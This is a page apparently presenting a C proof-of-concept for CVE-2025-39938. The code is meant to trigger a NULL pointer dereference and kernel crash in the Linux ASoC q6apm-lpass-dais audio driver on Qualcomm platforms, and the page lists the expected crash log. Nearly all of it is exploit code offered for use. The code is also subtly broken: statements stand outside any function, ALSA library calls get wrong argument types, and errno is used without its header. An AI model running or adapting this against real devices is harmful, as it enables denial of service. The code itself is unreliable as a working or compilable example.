CVE-2025-39938 Linux内核ASoC q6apm驱动空指针解引用漏洞

// CVE-2025-39938 PoC - Trigger NULL pointer dereference in q6apm-lpass-dais // This PoC triggers the vulnerability by configuring an invalid audioreach topology // that causes ADSP to reject the graph open, then attempts to prepare the DAI. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sound/asound.h> // Step 1: Open PCM device for Qualcomm ASoC platform int pcm_fd = open("/dev/snd/pcmC0D0p", O_WRONLY); if (pcm_fd < 0) { perror("Failed to open PCM device"); exit(1); } // Step 2: Configure invalid audio parameters to trigger ADSP rejection // Set up PCM hardware parameters with invalid audioreach topology struct snd_pcm_hw_params params; memset(&params, 0, sizeof(params)); // Use unsupported format/rate that will cause ADSP to reject the graph snd_pcm_hw_params_set_access(pcm_fd, params, SND_PCM_ACCESS_RW_INTERLEAVED); snd_pcm_hw_params_set_format(pcm_fd, params, SND_PCM_FORMAT_S24_LE); snd_pcm_hw_params_set_channels(pcm_fd, params, 8); // Invalid channel count snd_pcm_hw_params_set_rate(pcm_fd, params, 192000, 0); // High rate // Step 3: Apply parameters - this will trigger source graph open int ret = ioctl(pcm_fd, SNDRV_PCM_IOCTL_HW_PARAMS, &params); if (ret < 0) { printf("HW_PARAMS failed (expected): %s\n", strerror(errno)); } // Step 4: Prepare the PCM - triggers q6apm_lpass_dai_prepare() with NULL graph // This call will access dai_data->graph[dai->id] which is NULL // causing kernel NULL pointer dereference at offset 0xa8 ret = ioctl(pcm_fd, SNDRV_PCM_IOCTL_PREPARE, 0); if (ret < 0) { printf("PREPARE failed: %s\n", strerror(errno)); } // At this point, the kernel should have crashed due to NULL pointer dereference // Error messages expected: // qcom-apm gprsvc:service:2:1: Error (1) Processing 0x01001002 cmd // qcom-apm gprsvc:service:2:1: DSP returned error[1001002] 1 // q6apm-lpass-dais: fail to start APM port 78 // Unable to handle kernel NULL pointer dereference at virtual address 00000000000000a8 // Call trace: q6apm_graph_media_format_pcm+0x48/0x120 (P) // q6apm_lpass_dai_prepare+0x110/0x1b4 close(pcm_fd); return 0;